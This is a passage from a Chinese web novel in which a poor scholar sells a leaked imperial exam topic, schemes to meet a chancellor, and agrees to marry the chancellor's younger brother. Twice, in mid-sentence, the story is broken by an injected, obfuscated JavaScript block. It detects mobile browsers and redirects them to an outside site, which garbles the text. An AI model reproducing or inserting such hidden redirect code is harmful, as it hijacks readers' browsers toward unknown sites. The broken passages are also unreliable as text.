李知微皱眉:“哪里来的口条。” 老板嬉皮笑脸:“最近去北边做了点生意,他们管兄长都叫‘哥’哩!唉,不喊哥,喊爹也行啊,您就是我的衣食父母!” 他看着那层神秘黑纱。 他和这人合作了很多年,但仍不知道幂篱下面孔何如,只知道和昭文院有关,他猜测此人是昭文院的仆役之一——开玩笑,在那里读书的学生,谁有必要关注科举? 但科举也的确越来越重要。 皇帝不仅开了文举,还开了武举,昭文院的名额毕竟有限,荫封举荐又被限得越来越狠,承平繁衍后,士族人口倍增,科举是他们跻身官场的重要渠道。若是能知道主考官是谁,再找到他往日的著述,岂不十拿九稳。 只可惜朝廷早看破这一招,每年都会虚晃数枪,让好几个宿儒名士同时消失,大家摸不清楚是谁,索性也就不猜了。 “爹,我喊你爹了,九百行不?你问问满永乐城,谁眼皮子不眨一下出一千贯?而且你知道的,我薄利多销,只卖两三个人,多了我怕出事儿……” 暑热薰风缓缓吹拂,李知微岿然不动。 “一千一。” 吴亲仁割肉一般:“我怕了你了,别一千一啊,一千就一千,咱们兄弟谁和谁,我现在写条子,现在写,立刻!” 李知微淡淡开口:“你不用写条子。” 吴亲仁没反应过来:“啊?” 李知微说:“去年,我默了一份壬戌年殿试前十的答卷,你说买家是世宗朝张相的子孙。” 吴亲仁不知道他如何提起这事:“对。我还和你说过,这家人买卷子都抠抠搜搜的,可见要山穷水尽了。” 李知微道:“我听闻张相有一颗绀色的博记珠,握之可以清思明目。我不要别的,这一千贯,我和你换这颗珠子。” “——值不值?” 若说张相在世的时候,那肯定是买不到;就说是二十年前,这珠子也能引得当今宰相裴照元亲自讨要,可如今张家早已落魄,一千贯的飞来横财岂有不要之理? 吴亲仁晓得张家运势已断,后继无人,绀珠到手不难,于是夸张作揖:“金口一开,我就是赴汤蹈火,也得把这珠子拿来给您当弹子玩儿!” 亲眼看着吴亲仁写好单子,吹干墨迹,李知微将凭据折叠入袖,方开尊口:“这次主考官是学正郑安,他从孝明太子薨逝开始,就没有回过昭文院,一直在宫中,与人隔绝。这次的题目,我押《尚书》。” “尚书?他不是专治春秋的吗?” 李知微面色不改,报出题目:“皇天无亲,惟德是辅;父卒命子,罪不相及。” 蔡仲之命。 蔡叔造反获罪,他的儿子却被周成王封为诸侯。天命的归属,以德行而不以学院的亲疏为标准;父亲获罪,并不需要牵连儿子。 罪王之后,李重宪。 李知微飞身上马,双腿一夹,绝尘而去。 烟尘散去,崇仁坊裴宅就在眼前。 李知微路过平康坊时歇马买了一束玫瑰,一路行来一路摇坠,瓣瓣红刺飞如马鬃,枝头仅剩下含苞幼朵。 他就带着这几朵稀疏的花苞闯进裴见濯的房间,雪窟一样的地方,裴见濯在床上晒他的伤口,扯下绡帐折牡丹花,他折得难看极了,根本不得法,只是在模仿李知微的举动。 咣当一声,门开了,他往外面看去。 “你?” 李知微捧着一束花进来,他大概去了南边的坊市,鬓上尚有一丝风霜。裴见濯还没来得及反应,铺天盖地的玫瑰香气便向他涌来:“哎!” “春看玫瑰树,西邻即宋家。”李知微轻轻地念,“过去些。” 裴见濯趴着,像个乌龟一样往里挪,玫瑰花洒落床铺:“自能窥宋玉,何必羡王昌?” “王昌何如裴郎。”李知微摘掉帽子,踹掉鞋子,躺在他身边,“睡会儿。” 裴见濯莫名其妙被他闯入领地,哼了两声,又凑到他脖旁边嗅了一下:“睡吧!” 然后把被子分了他一半。 18. 绀珠第三3 李知微一觉酣眠至午后,迷迷糊糊听见裴见濯在他旁边窸窣进食。 伤者只能用流食,吞咽难免带响。末了,一勺温粥忽然抵到唇边。李知微下意识张口,却睡得忘了吞咽,粥液顺着脸颊滑下。裴见濯忙用手去捂,像拍了个黏糊的巴掌,蹭了满手。 他只得拖着病体下床清洗,又支离着挪回来,自作自受、自得其乐地趴到李知微身边。 李知微睡梦中感到脸颊黏腻,因昨日连夜背书才将古籍默出,甚耗心力,便含糊开口。 “我……” 裴见濯凑近去听。 “昨天没洗澡。” 李知微说完这句话,安安心心睡了,气得裴见濯差点打挺:“胡说什——” “么”字还没出来,他看李知微睡得正香,又不去打搅了,倒是李知微半梦半醒往身边摸索,摸摸裴见濯的头发,顿时安定下来:“我赚了好多钱。” 李知微从来不和善思说什么钱的事儿,虽然困窘是可以通过墙壁、屋檐发出声响的,但善思没有对比,对钱更没有概念,他的心事堆着、堆着,埋成山,悄悄在裴见濯耳朵旁边挖一铲子。 “诶。”裴见濯应他,“给我吗?” 李知微哼了一声。 裴见濯顿了会儿,发现哼字后没了下文,便也学着“哼”了一道,蚊子似的缭绕着,李知微睡迷了,他怕李知微不给他钱,就乖乖趴在旁边玩他的头发,过了会儿,又挪了挪,掏出一本书看。 李知微想蚊蝇可恶,一旦发出见濯的声音,就好了许多。 一千贯足以买下一座闳丽宅邸,但对于以后的他来说,都不算什么。善思当了太子,他就是太子的父亲,当然不是皇帝,不过,肯定会有一个很好的待遇,皇帝不会落人口舌,他也许会变成宗正官,李氏宗族的话事人……又或者封王,一个什么王? 李知微在梦里挑挑拣拣了好几个封号,都不太满意,不过对梦里的王邸很满意,善思做了太子,未来的皇帝,在东宫舒舒服服地过日子:“在宫里要听伯伯的话,一有机会爹爹就来看你。” 那可是太子呀,天底下除了皇帝最大的官,善思终于不用再吃苦了,再也不会因为猫、老鼠还有潮湿的天气出疹子,在高床软枕里越长越健康,越长越聪明、漂亮,在广阔天地里有一番大作为。 李知微拜别皇帝,悠哉出宫,因为没有见过皇帝李成钧,此人面容模糊,蒙着一层细雾,宫城里弯弯绕绕的,每个地方他都有些眼熟,昭文院在皇城偏隅,远不到内宫,他根本没去过里面,左弯右绕,他才发现这宫城十足十地像—— 裴宅。 他见过最豪奢的地方,便是此处。 走着走着,走到含光门,一切又变回原样了。含光门外有金车,上面刻着家徽,李知微走近了,心想,我都是亲王,怎么还有人见我坐在车上的?可李知微就是神使鬼差地凑上去,不由自主地喊:“裴相。” 裴照元压根没下来。 也还好他没下来,李知微根本忘了他长什么样。 他轻轻“嗯”了一声。 李知微笑了:“裴相,我家修好了。” 裴照元似乎哑了,喉咙里飘出来一声,还是嗯。 李知微说:“你让见濯到我家来住吧!”裴照元没说话,李知微自顾自道:“老住你家里,他不是很开心,不如跟着我,我会对他好的。” “我对他是真心——” 李知微猛然一颤:“嗯?” 裴见濯从他头上拔了一根头发,夹到书里当书签,头发很长,从书里拽出一条尾巴,李知微发现他又没看什么正经书,似乎是前朝的一本俚俗怪谈,裴见濯枕着书,两个人对看一会儿,李知微说:“饿了。” 他和祖宗一样,不打招呼就来,躺下就睡,睡醒了就吃,裴见濯一个病号还得伺候他:“再逃课,叫人把你开除。” 李知微道:“你不正有此意?不过,我早上出来时,已经叫邻居给我请了假,名正言顺,开除不了。” 裴见濯果然挑眉:“邻居?” 他才搬出来不久,昭文院就又有了父母双亡的奇才? 知微道:“嗯,姚思廉的曾孙姚时止,他没了爹娘,受叔伯欺负,消息传到这儿来,学正在御前求情,圣人特地恩准他半途入学,就住在我……你曾经的院子。” 裴见濯眉峰轩起:“圣人怎么忽然想起姚思廉来。” 李知微道:“圣心难测,谁又知道。不过,倒叫我推出来一件事,今年科举的出题人是郑安。” “他?” “嗯。前些日子孝明事,学官们轮流值守院中,他身为一院之长本该坐镇。善思病重,我出门求医,发现他一日也未露面。直到姚时止说,他在宫里。” 裴见濯点评道:“看来,这事要飞升了。” 当今重视科举,前朝所未有,历年能被选去出题的无一不是名家宿儒。郑安是昭文院学正,一院之长,有这么一回,才叫人心服口服。 只是,在这样的当口,他和李重宪的亲缘关系,难免不叫人多想。 李知微半点不提这事,窃窃笑道:“我把这个消息卖出去,换了一千贯钱。” 裴见濯挑眉:“赚了钱就来找我?” “嗯,给你花。” “是给我花,还是给我花?”裴见濯捻起一片玫瑰,“赚了一千贯,就给我这个?” 李知微知他玩笑:“一路上掉了不少,改明用金子给你打一束。” 二人正打嘴仗,饭菜送了上来,李知微坐下吃饭,裴见濯很给面子地从床上挪下来,挪到榻上陪餐:“给我打个九九八十一朵。” 李知微嗯啊应了,捧着碗吃饭,他吃饭很快很利落,又几乎没什么声音,又抽空喂裴见濯几口,全是养善思时养出来的功夫,裴见濯给他当成了赤子婴儿,哭笑不得:“干什……” “二郎君!” 二人动作齐齐一停,仆役隔门报道:“王老将军来了,请相公问您好,能否厅中一见?” 王竑?李知微手中牙箸一紧,听裴见濯懒懒道:“托老将军的福,动弹不得,去不了。” “是。”仆役听闻,不再多劝,轻手轻脚地离开。 见仆役走远,裴见濯试图翻身,仍然痛得龇牙咧嘴,李知微看他的背后,离挨打不到一旬功夫,背上已好的七七八八,长出厚厚血痂,不知用了什么灵药。 李知微忽然没了胃口,望向一桌子的菜,罪孽顿生,他在浪费福报,但食物就是一下子顶到了他的喉咙,只能撂下筷子不吃:“你今天是不是还没涂药,放哪里了,我给你涂,去榻上趴着吧。”裴见濯给他指了个方向,李知微很快就找到了,一掂量瓶子:“再不涂药,真要留疤了。” 裴见濯问他:“留了怎么办?” 李知微想起那个梦:“能怎么办,没人要,只能我养你。” 裴见濯笑了:“那我不涂了,你拿走吧。” 李知微打了个机灵。 韦弘贞的情意是泛滥的河,裴见濯则是宁缺毋滥的井。他在心里哀哀叹一声,撂了筷子,讨厌亏欠,可对于裴见濯呢,是非欠不可。不过,叹一声就是一声,没有第二声了:“胡话。” 裴见濯狡黠一笑,向前伸出双手,示意李知微带着他去榻上趴着。李知微笃定他现在的身体状态是可以自由行动的,却仍接过搀扶,裴见濯瞬时搭上他的肩膀,比他大一圈的体格压他在榻上:“我可从来不说——” “二郎君!” 两人刚滚到一处,门外又传来响动,看起来又是方才那位仆役。 裴见濯深吸一口气,怒斥:“有完没完?” 仆役显然习以为常,声线平稳:“王老将军听相公说,您最爱骑射,便以宝驹祝融相赠。” 裴见濯未答,直接坐起身,赤着上身拉开房门。烈日晒进来,照着他背后伤疤交错, 他如此打扮,仆役也不惊讶,眼观鼻鼻观心,堪称八风不动:“相公命人牵来,还有——”他让开一线,身后祝融宝马通体赤红,鬃毛三束,突起如花苞,健壮英武、细腿长颈,将后头那匹瘦小棕马挡得严严实实。 “这一匹,相公见它在拴马石上,知是郎君的客人带来,便吩咐牵来,一同松快。” 那是李知微在坊市上随意租赁的一匹马,他养不起,没地方,也没必要买马,不想却被裴照元看见询问。 体型相差巨大的两匹马一前一后沿着锦棚行来,身后又有一队力夫,捧着硕大铜鉴,指缝间沥沥渗水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349944|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李知微以为他们是来给房内冰鉴换冰的,只得让开一线,又想这冰鉴刚刚才换过,还未化尽,怎么又要再加。冰气太足沁入骨髓反而不好,刚要劝说阻止,谁承想力夫们临到跟前,又转了个弯。 锦棚外,还有一方狭窄的长池。仆从手提水桶,穿梭如鱼,将池水注至七八分满,力夫又沉腰往里投入冰石,荡开巨波。 原来这么多冰,是给马洗澡用的。 马仆习以为常,先后牵着两匹马靠近池子,祝融昂首踏入,李知微看见它周围的水变得粉红,游弋晕散,果真是传说中的汗血宝马。而另一匹租来的棕马则惊恐不堪,任凭马仆如何牵引,只在岸上惊恐嘶鸣,四蹄钉地不肯向前。 马仆见他左右不动,拿出马鞭抽打。 祝融已经走了一圈回来。 “别折腾。”裴见濯走出锦障,阻止道,“哪来的拴哪去,多管闲事干什么?。” 这个多管闲事,明显说的是裴照元。 马仆一时犹豫,显然是因为裴照元吩咐过要带着那匹棕马一起洗,他们不敢不照做:“这……” 裴见濯皱眉道:“在水里耗力气,这红马本来就胖,腿还细,不泡池子哪天翻了也说不定;这匹棕的本来就瘦,再走两圈就倒下来了,拴回去!” 棕马是驿站里的,人家买它,租它,就是要它出门跑动的,怎么可能爱惜马力,本就瘦的可怜。 马仆们素知这位二郎君横起来连裴照元的面子也不卖,慌忙告罪,称赞二郎君高见,将棕马牵回去。 裴见濯负手而立,望着祝融在水池里走了一圈又一圈。宝马汗血泡在池子里,泛出淡粉,像一抹胭脂划开,冰块渐渐融化,从岛屿变成一朵云,最后一滴水融进了一滴水。 裴照元的仆役又来了:“二郎君。” 李知微转头去看,终于看到了这位仆役的阵容,发现裴宅连东西二院仆役的衣着颜色都泾渭分明,裴照元的东院穿黑色,见濯的院子里呢,则是五花八门,穿什么的都有。 见濯把手背在后面,焦虑地扣弄血痂,指缝里全是红屑。 李知微走近他,抬手抓住了他的手腕阻止。 感受到阻力,裴见濯停了手,紧盯仆役发问:“他又有什么事?想拴马吗?” 他显然是在嘲讽裴照元特意将李知微放在拴马石上的马牵出来的事,毕竟以裴照元的身份,根本不可能亲自去栓马,更遑论仔细查勘,发现哪一匹马是属于西院客人的。 仆役面色不改:“相公并未说起,只说有一件金马鞍,很配祝融,想送给二郎君。”但他很轻地瞟了李知微一眼,快到像一阵风,点水的蜻蜓。 哗啦啦、哗啦啦——祝融又走了一个来回,马仆吆喝着让它上岸。 裴见濯望了一眼:“那拉走套上吧。”竟是对这绝世名驹毫不在意,还冷笑道:“替我多谢他。” 仆役躬身:“是。” 湿漉漉的祝融,一步走一步的冰渣子,悠闲地甩尾巴。 李知微忽然就想起了此马来历。四十年前,含光门宫变,王竑骑一匹嘶风赤兔马平定变乱,力主仁宗皇帝登基,变乱平息,天光大亮,王竑浑身被血,人以为神。 那匹马,大概就是祝融的祖父或者祖母。 一时东风,一时西风,现在他六十岁,低着声气上门替晚辈赔一句不是,李知微忽感唏嘘,想百二十年前,自己的先祖又何尝不是挥斥方遒、叱咤天下,君子泽竭,到他这一代,父亲没给他留下什么,他却不愿意让善思两手空空。 暑日酷炎,冰块化尽以后,裴见濯仍没有要回去的意思,只是望着池水沉思,手不自觉摸自己背后的血痂,指甲很快就染上一丝紫红,裴见濯却浑然不觉。 李知微抬手为他拂去脖颈上的细汗,又抓住他的手:“出汗了。” 裴见濯这才回过神来:“哦,回去吧,里头凉快。” 李知微却不动,叫道:“见濯。” 裴见濯侧目看他,李知微露出了一个很悲伤,很无奈的表情:“我想见裴公。” 裴见濯没听清似的,反问:“什么?” 李知微没有再重复,他知道裴见濯听清了。 因为他的手又爬上后腰,下意识抠挖痂痕。 19. 绀珠第三4 “你去啊。”沉默漫长如一生。裴见濯放下手,缓慢挪动身体,李知微去扶他,发现他的手臂僵直如铁,身躯微微佝偻,“他就在东边。” “不是现在。”李知微艰涩开口。 “不是现在?”裴见濯神情自若,走到锦棚底下,阳光隔绝,他甩开李知微的手,“那是什么时候?” “七月七。” 说这话的时候,李知微的心头先晃过路边那盏机扩灯,灯油照着牛郎织女在纤云鹊桥上执手泪眼。 裴照元的生日。 裴见濯淡然无波,“你来便是。没人拦你。” 李知微入裴宅如入无人之境,必然是因为裴见濯的嘱咐。 他在期待李知微的来临。 掌心空荡。李知微没有动,跟在他身后。屋内一片沁凉,如姮娥飞升后的碧海青天。裴见濯不回头,径直趴回榻上,将那片狼藉狰狞的后背晾给他。 交错阡陌,蝴蝶振翅欲飞。 “我只想在那天见他一面。”李知微说,“这样才能…活下来。” 裴见濯冷冷笑一声。李知微走到他身边,再次恳求:“见濯,请我去他的生辰宴,好吗?” 裴见濯闭住眼,习惯性想翻身。 人习惯性朝天睡觉,趴着不舒服,一切脏器都被压迫,沉甸甸地喘不过来。李知微却押住他肩膀,不许他动。 榻比床矮许多,李知微直接坐在他榻前的地上,小心翼翼圈住他的脖颈:“仙茅被发现了。” 裴见濯蹙眉。 “我一开始也以为,姚时止到来,不过是圣人垂怜,郑安为博声名,顺势为之,直到他住进昭文院。” 李知微撒谎不用腹稿,也不会眨眼。 “姚思廉门生故旧遍布天下,遗泽至今仍在,一个孔明达便足够庇护,哪用他栖身院中?他那日搬得仓促,我从你家回去,想着功考在即,去了藏书楼,我院中素日无人,善思也不在,便没有上锁,谁知一回家他竟在我屋内,口称‘误闯’,当时,放仙茅的匣子就在桌上。” “他说以为那是学正送他的入学礼,才贸然打开。” 他语速渐快,仿佛这样裴见濯便不会起疑。 “我这几年在昭文院所见不为少,可若不是薛喑提起,我也不知何为仙茅。按说此物从天竺传至我朝不过十数年光景,姚时止若真是土生土长的吴兴人,如何识得?我当时便知他是郑安的人。” “他甚至知道谁有。” 裴见濯默然不语,李知微坐在地上,悄悄远离了他,他害怕裴见濯听见自己撒谎时的心跳。 “他说天竺总共贡来五株,孝明太子病笃时用去一株,无济于事,圣人大抵觉得此物无用,赐予裴、薛二相。他问我,手上这株是谁给的。” “你说是裴照元给的?”裴见濯已经知道答案了,还是很给面子地发问。 “对。”李知微喉咙发紧,“我只能说是他。” 裴见濯强行给自己翻了个身,声音嘶哑:“本来就是他给的。” 李知微的手指抚摸过他胸膛。 “薛延清与我素无往来,忽赠奇药,任谁都能窥其心思。圣人乾纲独断,执掌太阿近二十年未曾下移,让他起疑,谁也没有活路。” 裴见濯和他关系亲近,人尽皆知,且素来行事张扬,又不曾入仕,不谙世务,仙葩灵药随手赠予合情合理。 况且裴照元简在帝心,薛延清百倍不及。 “孝明已逝,圣人萦怀童稚,却不愿让天下久痛,曾对郑安说,要借七夕裴相生日之时作个盛事同庆。仙茅虽是你给我,但如此灵药,裴相若半点不知,绝不可能。外人视你们兄弟一体。我受此大恩,却不出席他的生辰宴,岂非惹人生疑?昭文院有子宗室仅有三人,李景毅有王竑撑腰,李重宪有郑安庇护,二虎相持不下,只能先对我下手。” “姚时止既受郑安之命,一心要将我逼到绝路,仔细查探,薛延清与我岳家的旧事并不隐秘。我想来想去,别无他法——” 交易这种东西,双方应该平等,互惠互利,李知微消耗的,可凭恃的只有爱情,就好像一只猪,李知微用自己养着,养了这么多年,终于可以宰杀。 “生辰宴上宾客如云,我只要人看见即可。并不是为了……不是为了……” 语调艰涩,难以为继,裴见濯发问:“你今天来就是为了这事?” 李知微矢口否认:“不是。” 见濯侧着头,看他,眼尾摁在枕头上。 李知微看着他:“我今天来,是因为我赚了钱。” 裴见濯扭过头,李知微抱膝坐在地上,等待他的回答。 话说尽了,主动权从来都在裴见濯手中。 或者说,从一开始,他的一切,都取决于裴见濯肯不肯施舍。 从第一个瞬间开始。 草蛇灰线,伏延数年。 赌博,他把自己的好时候全部赔进去,期待命运的眷顾。 再称孤道寡、刻薄寡恩,皇帝心里也得有几个割舍不下的近臣,为他们谋好后路,换取他们誓死效忠,裴照元毫无疑问就是其中之一。 得到裴照元,得到最后的胜利。 李知微认为自己的优势很明显。李景毅、李重宪身边都有人了,只有他需要舟济。裴照元再怎么得皇帝的信任,也要考虑自己的家族。 让他见到裴照元,他会说服他。 而见到裴照元—— 通往裴照元的路,唯有裴见濯这一座桥。否则,他便将失去见濯。 视线再一次落下,他望着裴见濯,他不止一次在心里可惜、纠结二裴矛盾的关系,他必须是“被逼无奈”地去见裴照元,像摩挲一根细蛛丝又不能让他断裂。 “你想让善思做皇帝吗?”裴见濯突然问。 我想!有一瞬间李知微想和他坦白,但又不敢,因为在见濯口里,这不是什么“好去处”。 “我还想自己做皇帝呢!”李知微扯动嘴角,“可我不喜欢赌博。” 他一生都在赌博,穷人没有资本,就用自己押注。 “孝明的棺椁这会儿还没送到万年县,院里便开始捉对厮杀,善思年幼体弱,若成了众矢之的,恐怕生机全无。”李知微说,“人人都道做皇帝好,最好,可什么是好,什么是坏?有所欲求,不是归处。” 裴见濯慢条斯理,悠悠问话:“那,你若去了他的生辰宴,岂不是更不能脱身?” 李知微一时语塞,抬眼望去,见濯已经适应疼痛,枕着胳膊,眼睑微启,眼尾飞扬,很有些凌厉的气息。 裴见濯说:“姚时止若真是郑安的人,那必是专为监视你而来。若薛延清之事泄露,令圣人疑你有夺适之心,确是大祸。裴照元的生辰宴,你是得来。但让人知道你和裴照元搭上线,不是更难收场吗?” 说着,裴见濯对他伸出一只手,李知微下意识覆上去,却被他狠狠一拽,整个跌落他怀中。 “见濯!”李知微吓得几近失声,“我有没有被压到你?” 裴见濯却将他紧紧箍住。伤口下陷,连入锦衾,在剧痛之下,仍露出一个笑来:“我有一个办法,你要不要听?” 李知微望着他:“我不听,我照着你说的做。” 裴见濯拍哄李知微的肩膀,在脖颈处嗅一嗅,仿佛满意的不得了,李知微却无端在心里发毛:“昭文院里也就你们三个符合条件,你既不愿送善思进宫,自行退出便是。” 李知微勉强道:“这又不是比赛,可以说来就来,说走就走。裁断只在圣心,岂由我置喙?”李知微不知他葫芦里是什么药,勉强笑道,“我姓李,这没办法,我肯退出,也要别人肯信。” 这可是皇位! “有办法。”裴见濯说。 “你想叫我退学?”李知微蹙眉,支起身,“我说过……” “别动。”裴见濯出声,淡淡命令,李知微轻轻伏在他怀中,不敢举动,肩颈上肌肉都在用力,“仙茅是天竺人拿来招摇撞骗的玩意儿,但圣人赐下时也说是灵药,裴照元凭什么给我,我凭什么给你?” “凭……” 后一个问题好答,前一个,李知微只能报以沉默。 裴见濯勾起他的下巴,二人对视一眼,裴见濯眸色质若琥珀,季夏阳光正炽,他却仿佛在里面看到了祝融鬃毛下的冰碴。他低低地,跟着裴见濯发文:“是啊,凭什么?” “凭咱俩在一起了。”裴见濯说。 李知微没反应过来。裴见濯的拇指在他下巴摩挲,有些轻狎审视的举动,他自顾自道:“咱们学书相爱,情不自禁。这事,我也早告诉裴照元了。” 李知微心中蓦地一沉:“什么?” 裴见濯眨了一下眼。 李知微离开他的怀抱,强自镇定:“这于你名声有碍。” 裴见濯道:“我也二十岁了,没爹没娘,就剩下裴照元这么一个……兄长。如今尚可搪塞,若再过几年时,他还不给我成家,坊间必然议论如沸。但是,李知微,你想看我成婚吗?” 李知微没想过这件事,索性不答。 “我看,没有比这更好的说法了。”裴见濯给他规划了一条通天大路,“咱们相爱,便如夫妻,善思是你的儿子,便是我的继子,裴照元的继侄,侄子有恙,他怎么能不施援手?这样一来,把仙茅送你,就顺理成章,谁也不会多嘴。圣人既有意在他生辰宴上广开恩典,到时候我就讨要一桩,命圣人允准我二人结契成婚,告知天下。这样一来,他绝不会要善思进宫,岂不是两全其美?” 裴见濯顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349945|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理成章地解决了所有问题,玩味地看向李知微。 历朝历代,娈童内嬖不在少数,但男子与男子成婚,见天地、铭金石,还要皇帝的恩典许可,如此伤风败俗之事,千古以来,闻所未闻。 李知微答应他,善思就永远和皇位失之交臂。 不是你说从无夺嫡之心吗? 不是你说不爱赌博的吗? 李知微唇瓣翕动,万般理由哽在喉头。 可裴见濯就这样看着他。 在这个时刻,他又不晾晒他的伤口了。 我要皇位是为了什么?李知微想了想,也忘了。 他只记得那是一个午后,休沐日,李景毅前一天和他约好去看个小儿圣手,李知微抱着襁褓中的善思出门来到约定好的坊店,左等右等,李景毅也不来。 李知微心急如焚,因为医生们都为各大世家服务,若没有李景毅的面子,并不会来为他看诊。 李景毅在哪里? 难道我记错了,他们约定的是先看诊,再吃饭?李知微不由得质疑自己,时间一分一秒过去,他难捱得受不了,他太渴望治好善思的病了,无穷无尽的无底洞,这几乎是最后的希望了。 要不然去医馆看看?李知微犹豫片刻,还是决定站起,开门下楼,精巧馆阁中,每一级楼梯都铺满地毯,走路几乎没有声音。 在拐角处的房间,他忽然停住了脚步。 那上面挂着李景毅的剑穗,齐王宅的徽记,在某种意义上表达着“生人退避”。 鬼使神差,他贴近门扉,将里面的动静吸纳入耳。 “明公不可!五皇子夭折,陛下下诏追封所有皇子,二皇子得谥为密!‘追悔前过曰密’,二皇子三岁薨逝,有何过处,分明是陛下弹压,若是此时再对六皇子动手……” “到底是个襁褓孩童,离长成还要十来年功夫。徐氏出身贫贱,蠢笨不堪,且放她得意几日,并不妨碍明公大计。” 李知微如堕冰窖,一下子便知晓“明公”便是皇帝的岳父、李景毅的岳叔王竑。 二皇子虽不是中宫王皇后嫡出,生母却和王氏有着千丝万缕的关系,夭折以后,皇后心力交瘁,也驾鹤西去。 然后,他听见一个很熟悉的声音,低沉,简短:“不能太久。” 李景毅! 理由简单明了:“老虎等不住。” 李知微不敢再听,跑回了昭文院,第二天上学,李景毅说,他在那家店等了他很久,等到天都黑了。 医生没看成,他又打包了一份孩子用剩下的东西给善思,对于这样的人家来说,旧东西反而难得,李知微推脱当时有事,面色如常收下这些礼物,李景毅又问:“可是,好像有人看见你了。” 李知微心神俱震,支吾不敢言。李景毅又拿出了一个布偶老虎:“这是老虎爱玩的,送给弟弟。” 老虎是纯阳之体,百病不侵,李景毅对着李知微祝福善思,希望他的病马上好起来。 和昨天那个冰冷的声音迥然不同。 李知微当晚就做了噩梦,翻了好几次身,善思也哭了起来,李知微心惊胆战,害怕他又生病了,还好不是,只是尿了裤子,他把手悄悄抽出来,换上布偶老虎,在月光下汲井洗涤,冰冷的水浸过手背。 一开始,只是一个很奇怪的念头。 如果善思是太子,大概就不用洗尿布了吧? 就那么一瞬间,他痴痴想了四年,很多时候他以为那是梦境。 但魏王,曾经的六皇子,现在的孝明太子,死了。 非要做这个太子,那个皇帝吗? 他没想到裴见濯的一句话就能让他丢盔弃甲,他想,做太子有什么好,骨肉离散!他自己可以养得活善思,裴照元的金车辘辘远行,他说:“好。” “什么?”裴见濯反问他。 “我说‘好’。”李知微清晰道,“你向圣人求恩典吧,我们成亲,永远在一起,” 一切都疯了。 裴见濯叫来了仆役,很久很久,一封泥金洒朱的精美书柬送来,裴见濯亲手写下李知微三个字。 这天夜晚,信柬就到了薛家案头。 薛延祚、薛如明两父子围着此柬团团看个不停,薛延祚更是捻起捧在手中,对着光照。 李知微坐在椅上,听见自己的声音说:“这是裴相托人放在我房中的请柬。” 嗯,很明确,请李知微去他的生辰宴,裴宅门禁森严,李知微不是熟脸,却是“贵客”,的确该获得一张。 “可我不知道去不去。” 灯下,李知微面色苍白,目如点漆而含情,平生三分无助,再坚强,他也是个鳏夫兼孤儿,带着幼子艰难求存,薛延祚是他唯一的长辈:“所以,想来找爹拿个主意。”